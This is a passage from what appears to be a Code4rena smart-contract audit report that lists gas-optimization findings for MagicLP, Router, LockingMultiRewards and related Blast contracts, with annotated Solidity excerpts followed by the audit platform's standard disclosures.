148: emit LogReadyChanged(ready);- MagicLP.sol ( 144-144, 144-144, 145-145, 146-146, 147-147, 342-342, 344-344, 385-385, 402-402, 402-402, 402-402, 403-403, 403-403, 403-403, 438-438, 438-438, 439-439, 439-439, 513-513, 517-517 ):
/// @audit use result of assignment of _RState_
144: if (_RState_ == uint32(PMMPricing.RState.ABOVE_ONE) && _QUOTE_RESERVE_ < _QUOTE_TARGET_) {
/// @audit use result of assignment of _QUOTE_TARGET_
144: if (_RState_ == uint32(PMMPricing.RState.ABOVE_ONE) && _QUOTE_RESERVE_ < _QUOTE_TARGET_) {
/// @audit use result of assignment of _RState_
145: _RState_ = uint32(PMMPricing.RState.ONE);
/// @audit use result of assignment of _BASE_TARGET_
146: _BASE_TARGET_ = _BASE_RESERVE_;
/// @audit use result of assignment of _QUOTE_TARGET_
147: _QUOTE_TARGET_ = _QUOTE_RESERVE_;
/// @audit use result of assignment of _RState_
342: if (_RState_ != uint32(newRState)) {
/// @audit use result of assignment of _RState_
344: _RState_ = uint32(newRState);
/// @audit use result of assignment of _QUOTE_TARGET_
385: if (_QUOTE_TARGET_ == 0) {
/// @audit use result of assignment of _BASE_TARGET_
402: _BASE_TARGET_ = (uint256(_BASE_TARGET_) + DecimalMath.mulFloor(uint256(_BASE_TARGET_), mintRatio)).toUint112();
/// @audit use result of assignment of _BASE_TARGET_
402: _BASE_TARGET_ = (uint256(_BASE_TARGET_) + DecimalMath.mulFloor(uint256(_BASE_TARGET_), mintRatio)).toUint112();
/// @audit use result of assignment of _BASE_TARGET_
402: _BASE_TARGET_ = (uint256(_BASE_TARGET_) + DecimalMath.mulFloor(uint256(_BASE_TARGET_), mintRatio)).toUint112();
/// @audit use result of assignment of _QUOTE_TARGET_
403: _QUOTE_TARGET_ = (uint256(_QUOTE_TARGET_) + DecimalMath.mulFloor(uint256(_QUOTE_TARGET_), mintRatio)).toUint112();
/// @audit use result of assignment of _QUOTE_TARGET_
403: _QUOTE_TARGET_ = (uint256(_QUOTE_TARGET_) + DecimalMath.mulFloor(uint256(_QUOTE_TARGET_), mintRatio)).toUint112();
/// @audit use result of assignment of _QUOTE_TARGET_
403: _QUOTE_TARGET_ = (uint256(_QUOTE_TARGET_) + DecimalMath.mulFloor(uint256(_QUOTE_TARGET_), mintRatio)).toUint112();
/// @audit use result of assignment of _BASE_TARGET_
438: _BASE_TARGET_ = uint112(uint256(_BASE_TARGET_) - (uint256(_BASE_TARGET_) * shareAmount).divCeil(totalShares));
/// @audit use result of assignment of _BASE_TARGET_
438: _BASE_TARGET_ = uint112(uint256(_BASE_TARGET_) - (uint256(_BASE_TARGET_) * shareAmount).divCeil(totalShares));
/// @audit use result of assignment of _QUOTE_TARGET_
439: _QUOTE_TARGET_ = uint112(uint256(_QUOTE_TARGET_) - (uint256(_QUOTE_TARGET_) * shareAmount).divCeil(totalShares));
/// @audit use result of assignment of _QUOTE_TARGET_
439: _QUOTE_TARGET_ = uint112(uint256(_QUOTE_TARGET_) - (uint256(_QUOTE_TARGET_) * shareAmount).divCeil(totalShares));
/// @audit use result of assignment of _BASE_TARGET_
513: _BASE_TARGET_ = uint112((uint256(_BASE_TARGET_) * baseBalance) / uint256(_BASE_RESERVE_));
/// @audit use result of assignment of _QUOTE_TARGET_
517: _QUOTE_TARGET_ = uint112((uint256(_QUOTE_TARGET_) * quoteBalance) / uint256(_QUOTE_RESERVE_));[G-39] Contracts can use fewer storage slots by truncating state variables
Some state variables can be safely modified so that the contract uses fewer storage slots. Each saved slot can avoid an extra Gsset (20000 gas) for the first setting of the struct. Subsequent reads as well as writes have smaller gas savings.
There is 1 instance:
- MagicLP.sol ( 25 ):
/// @audit Truncate `_BLOCK_TIMESTAMP_LAST_` to `uint32`
/// @audit Truncate `_LP_FEE_RATE_` to `uint32`
/// @audit Fewer storage usage (9 slots -> 8 slots):
/// 32 B: uint256 _BASE_PRICE_CUMULATIVE_LAST_
/// 32 B: uint256 _K_
/// 32 B: uint256 _I_
/// 20 B: address _BASE_TOKEN_
/// 4 B: uint32 _BLOCK_TIMESTAMP_LAST_
/// 4 B: uint32 _RState_
/// 4 B: uint32 _LP_FEE_RATE_
/// 20 B: address _QUOTE_TOKEN_
/// 1 B: bool _INITIALIZED_
/// 20 B: IFeeRateModel _MT_FEE_RATE_MODEL_
/// 14 B: uint112 _BASE_RESERVE_
/// 14 B: uint112 _QUOTE_RESERVE_
/// 14 B: uint112 _BASE_TARGET_
/// 14 B: uint112 _QUOTE_TARGET_
25: contract MagicLP is ERC20, ReentrancyGuard, Owned {[G-40] Structs can be packed into fewer storage slots by truncating fields
Some struct fields can be safely modified so that the struct variable uses fewer storage slots. Each saved slot can avoid an extra Gsset (20000 gas) for the first setting of the struct. Subsequent reads as well as writes have smaller gas savings.
There is 1 instance:
- LockingMultiRewards.sol ( 50-56 ):
/// @audit Truncate `periodFinish` to `uint32`
/// @audit Truncate `rewardRate` to `uint32`
/// @audit Truncate `lastUpdateTime` to `uint32`
/// @audit Fewer storage usage (4 slots -> 2 slots):
/// 32 B: uint256 rewardPerTokenStored
/// 4 B: uint32 periodFinish
/// 4 B: uint32 rewardRate
/// 4 B: uint32 lastUpdateTime
/// 1 B: bool exists
50: struct Reward {
51: uint256 periodFinish;
52: uint256 rewardRate;
53: uint256 rewardPerTokenStored;
54: bool exists;
55: uint248 lastUpdateTime;
56: }[G-41] Using constants instead of enum can save gas
Enum is expensive and it is more efficient to use constants instead. An illustrative example of this approach can be found in the ReentrancyGuard.sol.
There are 2 instances:
- BlastOnboarding.sol ( 18-22 ):
18: enum State {
19: Idle,
20: Opened,
21: Closed
22: }- PMMPricing.sol ( 21-25 ):
21: enum RState {
22: ONE,
23: ABOVE_ONE,
24: BELOW_ONE
25: }[G-42] Use Array.unsafeAccess() to avoid repeated array length checks
When using storage arrays, solidity adds an internal lookup of the array’s length (a Gcoldsload 2100 gas) to ensure you don’t read past the array’s end. You can avoid this lookup by using Array.unsafeAccess() in cases where the length has already been checked, as is the case with the instances below.
There are 7 instances:
490: if (lockCount == 0 || _userLocks[user][_lastLockIndex].unlockTime < _nextUnlockTime) {
501: _userLocks[user].push(LockedBalance({amount: amount, unlockTime: _nextUnlockTime}));
510: _userLocks[user][_lastLockIndex].amount += amount;
548: _updateRewardsGlobal(rewardTokens[i], totalSupply_);
562: address token = rewardTokens[i];
576: address token = rewardTokens[i];
615: address rewardToken = rewardTokens[i];[G-43] Assembly: Use scratch space for building calldata
If an external call’s calldata can fit into two or fewer words, use the scratch space to build the calldata, rather than allowing Solidity to do a memory expansion.
There are 110 instances (click to show):
57: if (!registry.nativeYieldTokens(token_)) {
86: if (registry.nativeYieldTokens(token)) {- BlastGovernor.sol ( 54-54 ):
54: (success, result) = to.call{value: value}(data);48: address feeTo_ = BlastMagicLP(address(implementation)).feeTo();
54: address feeTo_ = BlastMagicLP(address(implementation)).feeTo();
56: if (registry.nativeYieldTokens(_BASE_TOKEN_)) {
59: if (registry.nativeYieldTokens(_QUOTE_TOKEN_)) {
105: if (registry.nativeYieldTokens(_BASE_TOKEN_)) {
109: if (registry.nativeYieldTokens(_QUOTE_TOKEN_)) {
119: if (!BlastMagicLP(address(implementation)).operators(msg.sender) && msg.sender != implementation.owner()) {
119: if (!BlastMagicLP(address(implementation)).operators(msg.sender) && msg.sender != implementation.owner()) {169: if (registry.nativeYieldTokens(tokens[i])) {
178: if (registry.nativeYieldTokens(token)) {118: staking.setOperator(address(this), true);
119: staking.transferOwnership(owner);
131: factory = IFactory(router.factory());- BlastPoints.sol ( 11-11 ):
11: BLAST_POINTS.configurePointsOperator(BLAST_POINTS_OPERATOR);21: if (IERC20Rebasing(token).getConfiguration(address(this)) == YieldMode.CLAIMABLE) {
25: IERC20Rebasing(token).configure(YieldMode.CLAIMABLE);
43: amount = BLAST_YIELD_PRECOMPILE.claimMaxGas(contractAddress, recipient);
56: amount = BLAST_YIELD_PRECOMPILE.claimAllYield(contractAddress, recipient);
71: amount = IERC20Rebasing(token).claim(recipient, IERC20Rebasing(token).getClaimableAmount(address(this)));
71: amount = IERC20Rebasing(token).claim(recipient, IERC20Rebasing(token).getClaimableAmount(address(this)));
76: amount = IERC20Rebasing(token).claim(recipient, amount);- MagicLP.sol ( 156-156, 156-156, 164-164, 174-174, 187-187, 225-225, 253-253, 276-276, 319-319, 341-341, 608-608 ):
156: return string(abi.encodePacked("MagicLP ", IERC20Metadata(_BASE_TOKEN_).symbol(), "/", IERC20Metadata(_QUOTE_TOKEN_).symbol()));
156: return string(abi.encodePacked("MagicLP ", IERC20Metadata(_BASE_TOKEN_).symbol(), "/", IERC20Metadata(_QUOTE_TOKEN_).symbol()));
164: return IERC20Metadata(_BASE_TOKEN_).decimals();
174: (uint256 lpFeeRate, uint256 mtFeeRate) = _MT_FEE_RATE_MODEL_.getFeeRate(trader, _LP_FEE_RATE_);
187: (uint256 lpFeeRate, uint256 mtFeeRate) = _MT_FEE_RATE_MODEL_.getFeeRate(trader, _LP_FEE_RATE_);
225: return _MT_FEE_RATE_MODEL_.getFeeRate(user, _LP_FEE_RATE_);
253: _transferQuoteOut(_MT_FEE_RATE_MODEL_.maintainer(), mtFee);
276: _transferBaseOut(_MT_FEE_RATE_MODEL_.maintainer(), mtFee);
319: _transferBaseOut(_MT_FEE_RATE_MODEL_.maintainer(), mtFee);
341: _transferQuoteOut(_MT_FEE_RATE_MODEL_.maintainer(), mtFee);
608: if (msg.sender != implementation.owner()) {- Router.sol ( 64-64, 64-64, 70-70, 83-83, 85-85, 90-90, 93-93, 117-117, 119-119, 120-120, 129-129, 136-136, 172-172, 173-173, 186-186, 187-187, 202-202, 204-204, 208-208, 216-216, 236-236, 238-238, 239-239, 243-243, 252-252, 253-253, 255-255, 284-284, 286-286, 295-295, 308-308, 328-328, 330-330, 349-349, 351-351, 359-359, 380-380, 382-382, 393-393, 395-395, 399-399, 411-411, 421-421, 427-427, 439-439, 443-443, 445-445, 456-456, 467-467, 473-473, 485-485, 489-489, 491-491, 500-500, 514-514, 515-515, 516-516, 521-521, 522-522, 547-547, 550-550, 561-561, 563-563, 572-572, 579-579 ):
64: _validateDecimals(IERC20Metadata(baseToken).decimals(), IERC20Metadata(quoteToken).decimals());
64: _validateDecimals(IERC20Metadata(baseToken).decimals(), IERC20Metadata(quoteToken).decimals());
70: (shares, , ) = IMagicLP(clone).buyShares(to);
83: _validateDecimals(18, IERC20Metadata(token).decimals());
85: _validateDecimals(IERC20Metadata(token).decimals(), 18);
90: weth.deposit{value: msg.value}();
93: (shares, , ) = IMagicLP(clone).buyShares(to);
117: (uint256 baseReserve, uint256 quoteReserve) = IMagicLP(lp).getReserves();
119: uint256 baseBalance = IMagicLP(lp)._BASE_TOKEN_().balanceOf(address(lp)) + baseInAmount;
120: uint256 quoteBalance = IMagicLP(lp)._QUOTE_TOKEN_().balanceOf(address(lp)) + quoteInAmount;
129: uint256 totalSupply = IERC20(lp).totalSupply();
136: uint256 i = IMagicLP(lp)._I_();
172: IMagicLP(lp)._BASE_TOKEN_().safeTransferFrom(msg.sender, lp, baseAdjustedInAmount);
173: IMagicLP(lp)._QUOTE_TOKEN_().safeTransferFrom(msg.sender, lp, quoteAdjustedInAmount);
186: IMagicLP(lp)._BASE_TOKEN_().safeTransferFrom(msg.sender, lp, baseInAmount);
187: IMagicLP(lp)._QUOTE_TOKEN_().safeTransferFrom(msg.sender, lp, quoteInAmount);
202: address token = IMagicLP(lp)._BASE_TOKEN_();
204: token = IMagicLP(lp)._QUOTE_TOKEN_();
208: } else if (IMagicLP(lp)._QUOTE_TOKEN_() == address(weth)) {
216: weth.deposit{value: wethAdjustedAmount}();
236: address token = IMagicLP(lp)._BASE_TOKEN_();
238: token = IMagicLP(lp)._QUOTE_TOKEN_();
239: } else if (IMagicLP(lp)._QUOTE_TOKEN_() != address(weth)) {
243: weth.deposit{value: msg.value}();
252: uint256 baseBalance = IMagicLP(lp)._BASE_TOKEN_().balanceOf(address(lp));
253: uint256 quoteBalance = IMagicLP(lp)._QUOTE_TOKEN_().balanceOf(address(lp));
255: uint256 totalShares = IERC20(lp).totalSupply();
284: address token = IMagicLP(lp)._BASE_TOKEN_();
286: token = IMagicLP(lp)._QUOTE_TOKEN_();
295: } else if (IMagicLP(lp)._QUOTE_TOKEN_() == address(weth)) {
308: weth.withdraw(ethAmountOut);
328: IMagicLP(firstLp)._BASE_TOKEN_().safeTransferFrom(msg.sender, address(firstLp), amountIn);
330: IMagicLP(firstLp)._QUOTE_TOKEN_().safeTransferFrom(msg.sender, address(firstLp), amountIn);
349: inToken = IMagicLP(firstLp)._BASE_TOKEN_();
351: inToken = IMagicLP(firstLp)._QUOTE_TOKEN_();
359: weth.deposit{value: msg.value}();
380: outToken = IMagicLP(lastLp)._QUOTE_TOKEN_();
382: outToken = IMagicLP(lastLp)._BASE_TOKEN_();
393: IMagicLP(firstLp)._BASE_TOKEN_().safeTransferFrom(msg.sender, firstLp, amountIn);
395: IMagicLP(firstLp)._QUOTE_TOKEN_().safeTransferFrom(msg.sender, firstLp, amountIn);
399: weth.withdraw(amountOut);
411: IMagicLP(lp)._BASE_TOKEN_().safeTransferFrom(msg.sender, lp, amountIn);
421: address baseToken = IMagicLP(lp)._BASE_TOKEN_();
427: weth.deposit{value: msg.value}();
439: if (IMagicLP(lp)._QUOTE_TOKEN_() != address(weth)) {
443: IMagicLP(lp)._BASE_TOKEN_().safeTransferFrom(msg.sender, lp, amountIn);
445: weth.withdraw(amountOut);
456: IMagicLP(lp)._QUOTE_TOKEN_().safeTransferFrom(msg.sender, lp, amountIn);
467: address quoteToken = IMagicLP(lp)._QUOTE_TOKEN_();
473: weth.deposit{value: msg.value}();
485: if (IMagicLP(lp)._BASE_TOKEN_() != address(weth)) {
489: IMagicLP(lp)._QUOTE_TOKEN_().safeTransferFrom(msg.sender, lp, amountIn);
491: weth.withdraw(amountOut);
500: (shares, , ) = IMagicLP(lp).buyShares(to);
514: (uint256 baseReserve, uint256 quoteReserve) = IMagicLP(lp).getReserves();
515: uint256 baseBalance = IMagicLP(lp)._BASE_TOKEN_().balanceOf(address(lp)) + baseInAmount;
516: uint256 quoteBalance = IMagicLP(lp)._QUOTE_TOKEN_().balanceOf(address(lp)) + quoteInAmount;
521: if (IERC20(lp).totalSupply() == 0) {
522: uint256 i = IMagicLP(lp)._I_();
547: IMagicLP(path[i]).sellBase(address(path[i + 1]));
550: IMagicLP(path[i]).sellQuote(address(path[i + 1]));
561: amountOut = IMagicLP(path[iterations]).sellBase(to);
563: amountOut = IMagicLP(path[iterations]).sellQuote(to);
572: amountOut = IMagicLP(lp).sellBase(to);
579: amountOut = IMagicLP(lp).sellQuote(to);25: baseDecimals = IERC20Metadata(pair_._BASE_TOKEN_()).decimals();
25: baseDecimals = IERC20Metadata(pair_._BASE_TOKEN_()).decimals();
26: quoteDecimals = IERC20Metadata(pair_._QUOTE_TOKEN_()).decimals();
26: quoteDecimals = IERC20Metadata(pair_._QUOTE_TOKEN_()).decimals();
34: (uint256 baseReserve, uint256 quoteReserve) = pair.getReserves();
38: uint256 baseAnswerNomalized = uint256(baseOracle.latestAnswer()) * (10 ** (WAD - baseOracle.decimals()));
38: uint256 baseAnswerNomalized = uint256(baseOracle.latestAnswer()) * (10 ** (WAD - baseOracle.decimals()));
39: uint256 quoteAnswerNormalized = uint256(quoteOracle.latestAnswer()) * (10 ** (WAD - quoteOracle.decimals()));
39: uint256 quoteAnswerNormalized = uint256(quoteOracle.latestAnswer()) * (10 ** (WAD - quoteOracle.decimals()));
45: return int256(minAnswer * (baseReserve + quoteReserve) / pair.totalSupply());[G-44] Use assembly to emit events
To efficiently emit events, it’s possible to utilize assembly by making use of scratch space and the free memory pointer. This approach has the advantage of potentially avoiding the costs associated with memory expansion.
However, it’s important to note that in order to safely optimize this process, it is preferable to cache and restore the free memory pointer.
A good example of such practice can be seen in Solady’s codebase.
There are 48 instances (click to show):
78: emit LogFeeToChanged(feeTo_);
90: emit LogTokenDepositEnabled(token, enabled);- BlastGovernor.sol ( 46-46 ):
46: emit LogFeeToChanged(_feeTo);86: emit LogFeeToChanged(feeTo_);
91: emit LogOperatorChanged(operator, status);- BlastOnboarding.sol ( 120-120, 129-129, 140-140, 153-153, 182-182, 187-187, 192-192, 197-197, 202-202, 211-211 ):
120: emit LogDeposit(msg.sender, token, amount, lock_);
129: emit LogLock(msg.sender, token, amount);
140: emit LogWithdraw(msg.sender, token, amount);
153: emit LogFeeToChanged(feeTo_);
182: emit LogTokenSupported(token, supported);
187: emit LogTokenCapChanged(token, cap);
192: emit LogBootstrapperChanged(bootstrapper_);
197: emit LogStateChange(State.Opened);
202: emit LogStateChange(State.Closed);
211: emit LogTokenRescue(token, to, amount);71: emit LogClaimed(msg.sender, shares, lock);
124: emit LogLiquidityBootstrapped(pool, address(staking), totalPoolShares);
132: emit LogInitialized(_router);
143: emit LogStakingChanged(address(_staking));
148: emit LogReadyChanged(ready);- BlastTokenRegistry.sol ( 20-20 ):
20: emit LogNativeYieldTokenEnabled(token, enabled);26: emit LogBlastTokenClaimableEnabled(address(this), token);
31: emit LogBlastNativeClaimableEnabled(address(this));
44: emit LogBlastGasClaimed(recipient, amount);
57: emit LogBlastETHClaimed(recipient, amount);
62: emit LogBlastETHClaimed(recipient, amount);
72: emit LogBlastTokenClaimed(recipient, address(token), amount);
77: emit LogBlastTokenClaimed(recipient, address(token), amount);259: emit RChange(newRState);
282: emit RChange(newRState);
323: emit RChange(newRState);
345: emit RChange(newRState);
467: emit TokenRescue(token, to, amount);52: emit LogMaintainerChanged(maintainer_);
59: emit LogImplementationChanged(implementation_);102: emit LogSetImplementation(implementation_);
111: emit LogSetMaintainerFeeRateModel(maintainerFeeRateModel_);
141: emit LogPoolRemoved(pool);- LockingMultiRewards.sol ( 183-183, 318-318, 331-331, 392-392, 436-436, 447-447, 475-475, 611-611, 638-638, 651-651 ):
183: emit LogWithdrawn(msg.sender, amount);
318: emit LogSetMinLockAmount(minLockAmount, _minLockAmount);
331: emit LogRecovered(tokenAddress, tokenAmount);
392: emit LogRewardAdded(amount);
436: emit LogLockIndexChanged(user, lastIndex, index);
447: emit LogUnlocked(user, amount, index);
475: emit LogStaked(account, amount);
611: emit LogRewardLockCreated(user, _rewardLock.unlockTime);
638: emit LogRewardPaid(user, rewardToken, amount);
651: emit LogRewardLocked(user, rewardToken, rewardAmount);[G-45] Use calldata instead of memory for immutable arguments
Mark data types as calldata instead of memory where possible. This makes it so that the data is not automatically loaded into memory. If the data passed into the function does not need to be changed (like updating values in an array), it can be passed in as calldata. The one exception to this is if the argument must later be passed into another function that takes an argument that specifies memory storage.
There are 2 instances:
- BlastOnboarding.sol ( 164-164 ):
/// @audit tokens
164: function claimTokenYields(address[] memory tokens) external onlyOwner {- LockingMultiRewards.sol ( 397-397 ):
/// @audit users
397: function processExpiredLocks(address[] memory users, uint256[] calldata lockIndexes) external onlyOperators {[G-46] Consider Using Solady’s Gas Optimized Lib for Math
In instances where many similar mathematical operations are performed, consider using Solady’s math lib to benefit from the gas saving it can introduce.
There are 16 instances (click to show):
125: _BLOCK_TIMESTAMP_LAST_ = uint32(block.timestamp % 2 ** 32);
435: baseAmount = (baseBalance * shareAmount) / totalShares;
436: quoteAmount = (quoteBalance * shareAmount) / totalShares;
513: _BASE_TARGET_ = uint112((uint256(_BASE_TARGET_) * baseBalance) / uint256(_BASE_RESERVE_));
517: _QUOTE_TARGET_ = uint112((uint256(_QUOTE_TARGET_) * quoteBalance) / uint256(_QUOTE_RESERVE_));54: p = (p * p) / ONE;
56: p = (p * target) / ONE;34: z = (x / z + z) / 2;
97: _sqrt = sqrt(((ki * delta) / V1) + DecimalMath.ONE2);
99: _sqrt = sqrt(((ki / V1) * delta) + DecimalMath.ONE2);
156: temp = (idelta * V1) / (V0 * V0);
158: temp = (((delta * V1) / V0) * i) / V0;257: baseAmountOut = (baseBalance * sharesIn) / totalShares;
258: quoteAmountOut = (quoteBalance * sharesIn) / totalShares;43: baseReserve = baseReserve * (10 ** (WAD - baseDecimals));
44: quoteReserve = quoteReserve * (10 ** (WAD - quoteDecimals));[G-47] do-while is cheaper than for-loops when the initial check can be skipped
for (uint256 i; i < len; ++i){ ... } -> do { ...; ++i } while (i < len);
There are 8 instances:
- BlastOnboarding.sol ( 165 ):
165: for (uint256 i = 0; i < tokens.length; i++) {- Router.sol ( 544 ):
544: for (uint256 i = 0; i < iterations; ) {405: for (uint256 i; i < users.length; ) {
547: for (uint256 i; i < rewardTokens.length; ) {
561: for (uint256 i; i < rewardTokens.length; ) {
575: for (uint256 i; i < rewardTokens.length; ) {
580: for (uint256 j; j < users.length; ) {
614: for (uint256 i; i < rewardTokens.length; ) {[G-48] Consider activating via-ir for deploying
By using --via-ir or {"viaIR": true}, the compiler is able to use more advanced multi-function optimizations, for extra gas savings.
There is 1 instance:
- Global finding
[G-49] Avoid Unnecessary Public Variables
Public state variables automatically generate getter functions, increasing contract size and potentially leading to higher deployment and interaction costs. To optimize gas usage and contract efficiency, minimize the use of public variables unless external access is necessary. Instead, use internal or private visibility combined with explicit getter functions when required. This practice not only reduces contract size but also provides better control over data access and manipulation, enhancing security and readability. Prioritize lean, efficient contracts to ensure cost-effectiveness and better performance on the blockchain.
There are 34 instances (click to show):
- BlastBox.sol ( 22-22 ):
22: address public feeTo;- BlastGovernor.sol ( 11-11 ):
11: address public feeTo;- BlastMagicLP.sol ( 20-20 ):
20: address public feeTo;30: State public state;
31: address public bootstrapper;
32: address public feeTo;
33: BlastTokenRegistry public registry;24: address public pool;
25: Router public router;
26: IFactory public factory;
27: uint256 public totalPoolShares;
28: bool public ready;
29: LockingMultiRewards public staking;- MagicLP.sol ( 70-70, 71-71, 72-72, 73-73, 74-74, 75-75, 76-76, 77-77, 78-78, 79-79, 80-80, 81-81, 82-82 ):
70: address public _BASE_TOKEN_;
71: address public _QUOTE_TOKEN_;
72: uint112 public _BASE_RESERVE_;
73: uint112 public _QUOTE_RESERVE_;
74: uint32 public _BLOCK_TIMESTAMP_LAST_;
75: uint256 public _BASE_PRICE_CUMULATIVE_LAST_;
76: uint112 public _BASE_TARGET_;
77: uint112 public _QUOTE_TARGET_;
78: uint32 public _RState_;
79: IFeeRateModel public _MT_FEE_RATE_MODEL_;
80: uint256 public _LP_FEE_RATE_;
81: uint256 public _K_;
82: uint256 public _I_;19: address public maintainer;
20: address public implementation;32: address public implementation;
33: IFeeRateModel public maintainerFeeRateModel;100: uint256 public lockedSupply; // all locked boosted deposits
101: uint256 public unlockedSupply; // all unlocked unboosted deposits
102: uint256 public minLockAmount; // minimum amount allowed to lock
103: uint256 public stakingTokenBalance; // total staking token balance[G-50] Optimize Deployment Size by Fine-tuning IPFS Hash
Optimizing the deployment size of a smart contract is vital to minimize gas costs, and one way to achieve this is by fine-tuning the IPFS hash appended by the Solidity compiler as metadata. This metadata, consisting of 53 bytes, increases the gas required for contract deployment by approximately 10,600 gas due to bytecode costs, and additionally, up to 848 gas due to calldata costs, depending on the proportion of zero and non-zero bytes. Utilize the —no-cbor-metadata compiler flag to prevent the compiler from appending metadata. However, this approach has a drawback as it can complicate the contract verification process on block explorers like Etherscan, potentially reducing transparency.
There are 19 instances (click to show):
- BlastBox.sol ( 13 ):
13: contract BlastBox is DegenBox, OperatableV3 {- BlastDapp.sol ( 6 ):
6: contract BlastDapp {- BlastGovernor.sol ( 7 ):
7: contract BlastGovernor is OperatableV2 {- BlastMagicLP.sol ( 10 ):
10: contract BlastMagicLP is MagicLP {12: contract BlastOnboardingData is Owned, Pausable {
64: contract BlastOnboarding is BlastOnboardingData, Proxy {23: contract BlastOnboardingBootDataV1 is BlastOnboardingData {
34: contract BlastOnboardingBoot is BlastOnboardingBootDataV1 {- BlastTokenRegistry.sol ( 6 ):
6: contract BlastTokenRegistry is Owned {19: contract BlastMIMSwapRouter is Router {
28: contract BlastMIMSwapFactory is Factory {
42: contract BlastCauldronV4 is CauldronV4 {- MagicLP.sol ( 25 ):
25: contract MagicLP is ERC20, ReentrancyGuard, Owned {- FeeRateModel.sol ( 13 ):
13: contract FeeRateModel is Owned {- FeeRateModelImpl.sol ( 7 ):
7: contract FeeRateModelImpl {- Factory.sol ( 11 ):
11: contract Factory is Owned {- Router.sol ( 12 ):
12: contract Router {- MagicLpAggregator.sol ( 9 ):
9: contract MagicLpAggregator is IAggregator {- LockingMultiRewards.sol ( 14 ):
14: contract LockingMultiRewards is OperatableV2, Pausable {[G-51] The result of a function call should be cached rather than re-calling the function
The function calls in solidity are expensive. If the same result of the same function calls are to be used several times, the result should be cached to reduce the gas consumption of repeated calls.
There are 4 instances:
/// @audit `_MT_FEE_RATE_MODEL_.maintainer()` called on lines: 319, 341
290: function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external nonReentrant {
/// @audit `totalSupply()` called on lines: 375, 400
360: function buyShares(address to) external nonReentrant returns (uint256 shares, uint256 baseInput, uint256 quoteInput) {
/// @audit `balanceOf(msg.sender)` called on lines: 424, 454
413: function sellShares(- Math.sol ( 131 ):
/// @audit `DecimalMath.mulFloor(i,delta)` called on lines: 141, 141
131: function _SolveQuadraticFunctionForTrade(uint256 V0, uint256 V1, uint256 delta, uint256 i, uint256 k) internal pure returns (uint256) {[G-52] Multiple accesses of a memory/calldata array should use a local variable cache
The instances below point to the second+ access of a value inside a storage array, within a function. Caching an array index value in a local storage or calldata variable when the value is accessed multiple times, saves ~42 gas per access due to not having to recalculate the array’s keccak256 hash (Gkeccak256 - 30 gas) and that calculation’s associated stack operations.
There are 16 instances (click to show):
/// @audit tokens...[]
166: if (!supportedTokens[tokens[i]]) {
/// @audit tokens...[]
169: if (registry.nativeYieldTokens(tokens[i])) {
/// @audit tokens...[]
170: BlastYields.claimAllTokenYields(tokens[i], feeTo);/// @audit _pools...[]
128: address pool = _pools[poolIndex];
/// @audit _pools...[]
131: _pools[poolIndex] = _pools[_pools.length - 1];
/// @audit _userPools...[]
134: if (_userPools[userPoolIndex] != pool) {
/// @audit _userPools...[]
138: _userPools[userPoolIndex] = _userPools[_userPools.length - 1];/// @audit path...[]
547: IMagicLP(path[i]).sellBase(address(path[i + 1]));
/// @audit path...[]
547: IMagicLP(path[i]).sellBase(address(path[i + 1]));
/// @audit path...[]
550: IMagicLP(path[i]).sellQuote(address(path[i + 1]));
/// @audit path...[]
550: IMagicLP(path[i]).sellQuote(address(path[i + 1]));
/// @audit path...[]
561: amountOut = IMagicLP(path[iterations]).sellBase(to);
/// @audit path...[]
563: amountOut = IMagicLP(path[iterations]).sellQuote(to);/// @audit locks...[]
422: if (locks[index].unlockTime > block.timestamp) {
/// @audit locks...[]
426: uint256 amount = locks[index].amount;
/// @audit locks...[]
435: locks[index] = locks[lastIndex];[G-53] Multiple accesses of the same mapping key should be cached
Reads and subsequent writes can also be cheaper when a function requires both values and they both fit in the same storage slot. Even if the values can’t be packed, if both fields are accessed in the same function (as is the case for these instances), combining them can save ~42 gas per access due to not having to recalculate the key’s keccak256 hash (Gkeccak256 - 30 gas) and that calculation’s associated stack operations.
There are 15 instances:
/// @audit `totals[token]` is accessed on line 112, 114, 108, 105
112: totals[token].total += amount;
/// @audit `balances[msg.sender][token]` is accessed on line 118, 109, 106
118: balances[msg.sender][token].total += amount;
/// @audit `balances[msg.sender]` is accessed on line 118, 109, 106
118: balances[msg.sender][token].total += amount;/// @audit `_rewardData[rewardToken]` is accessed on line 282, 285, 279, 283
282: uint256 timeElapsed = lastTimeRewardApplicable_ - _rewardData[rewardToken].lastUpdateTime;
/// @audit `lastLockIndex[user]` is accessed on line 430, 417, 431
430: if (lastLockIndex[user] == lastIndex) {
/// @audit `_userLocks[user]` is accessed on line 483, 490, 501, 510
483: uint256 lockCount = _userLocks[user].length;Disclosures
C4 is an open organization governed by participants in the community.
C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.
C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.